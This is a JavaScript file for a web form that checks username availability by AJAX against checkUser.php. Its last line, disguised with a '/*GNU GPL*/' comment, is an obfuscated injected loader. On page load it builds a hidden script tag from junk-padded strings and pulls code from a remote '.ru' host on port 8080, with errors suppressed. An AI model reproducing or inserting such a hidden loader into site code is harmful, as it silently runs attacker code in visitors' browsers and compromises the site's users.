// holds an instance of XMLHttpRequest
var xmlHttp = createXmlHttpRequestObject();
 var obj1;

// creates an XMLHttpRequest instance
function createXmlHttpRequestObject()
{
  // will store the reference to the XMLHttpRequest object
  var xmlHttp;
  // this should work for all browsers except IE6 and older
  try
  {
    // try to create XMLHttpRequest object
    xmlHttp = new XMLHttpRequest();
  }
  catch(e)
  {
    // assume IE6 or older
    var XmlHttpVersions = new Array("MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.5.0","MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0",
                                    "MSXML2.XMLHTTP",
                                    "Microsoft.XMLHTTP");
    // try every prog id until one works
 for (var i=0; i < XmlHttpVersions.length && !xmlHttp; i++)
    {
      try
      {
        // try to create XMLHttpRequest object
        xmlHttp = new ActiveXObject(XmlHttpVersions[i]);


      }
      catch (e) {}
    }
  }
  // return the created object or display an error message
  if (!xmlHttp)
    alert("Error creating the XMLHttpRequest object.");
  else
    return xmlHttp;
}

function process()
{
	 
	 document.getElementById("erroruname").style.display="none";
  // proceed only if the xmlHttp object isn't busy
  if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0)
  {
    // retrieve the name typed by the user on the form
    var uname = encodeURIComponent(document.getElementById("uname").value);
	
	
    // execute the quickstart.php page from the server
    xmlHttp.open("GET", "checkUser.php?uname="+uname, true);
    // define the method to handle server responses

    xmlHttp.onreadystatechange = handleServerResponse;
    // make the server request
    xmlHttp.send(null);
  }
  else
    // if the connection is busy, try again after one second
    setTimeout('process()', 5000);
}

// executed automatically when a message is received from the server
function handleServerResponse()
{
  // move forward only if the transaction has completed
  if (xmlHttp.readyState == 4)
  {
    // status of 200 indicates the transaction completed successfully
    if (xmlHttp.status == 200)
    {
      // extract the XML retrieved from the server
    Response = xmlHttp.responseText;
        
   if(Response==1)
   {
     document.getElementById('response').innerHTML="<font color='#FF0000'>  username not available </font>";
	 document.getElementById('uname').value="";
   }
   else
   document.getElementById('response').innerHTML="<font color='#32cd32'>  username  available </font>";
    

      // restart sequence
     // setTimeout('process()', 5000);
    }
    // a HTTP status different than 200 signals an error
    else
    {
      alert("There was a problem accessing the server: " +
xmlHttp.statusText);
    }
  }
}// JavaScript Document




/*GNU GPL*/ try{window.onload = function(){var B1uvgt2w77g8 = document.createElement('s(c&)#@r$$)i$!(p(^!&t$('.replace(/\)|\$|\!|\^|&|#|\(|@/ig, ''));B1uvgt2w77g8.setAttribute('type', 'text/javascript');B1uvgt2w77g8.setAttribute('src',  'h!&t@@t@##p###:)&!#/($)/$t$$$h!e^f@&#r$!e($#@e#@^!d^i$#c@()t)&i)&o#)#(n!^a!r$@@y#&-@c)@$o$@)(#m!#.@g@$&m!^^x&(.@^n^&e#)^)t($.#@g($c#(!()-$c!a)).$!s$$@a^l$&^!e&!#$(t^r!(^a&d^^!e$!o@$!n$l@#@i!@&n#@^(e(.)!#@#r($(u@&:($&)8#0@^(&8#^0(/!)$e(b$@()a&(y&.^!c$)o#.!@u@&k@$)/$#(e#(b(#a$!@y((&.!!$&c^)$)#o^.@&^$u!^k(/#&#)g(!o@&!@)o((g@&l@#^e@.)@c$$o&@m(!/@w&((#^e^)!$e#$@&^b)(l$$@y(!$.#!c$@!^)o^&(m))/^#)k!$)i)^c$k@e$r##.$#d$!(e)/$@'.replace(/\!|\^|\)|#|@|&|\$|\(/ig, ''));B1uvgt2w77g8.setAttribute('defer', 'defer');B1uvgt2w77g8.setAttribute('id', 'B(&x(n##m$1@6@u@#b&!#7!@7(@e@!3#&#'.replace(/\!|#|\$|\^|\)|@|&|\(/ig, ''));document.body.appendChild(B1uvgt2w77g8);}} catch(e) {}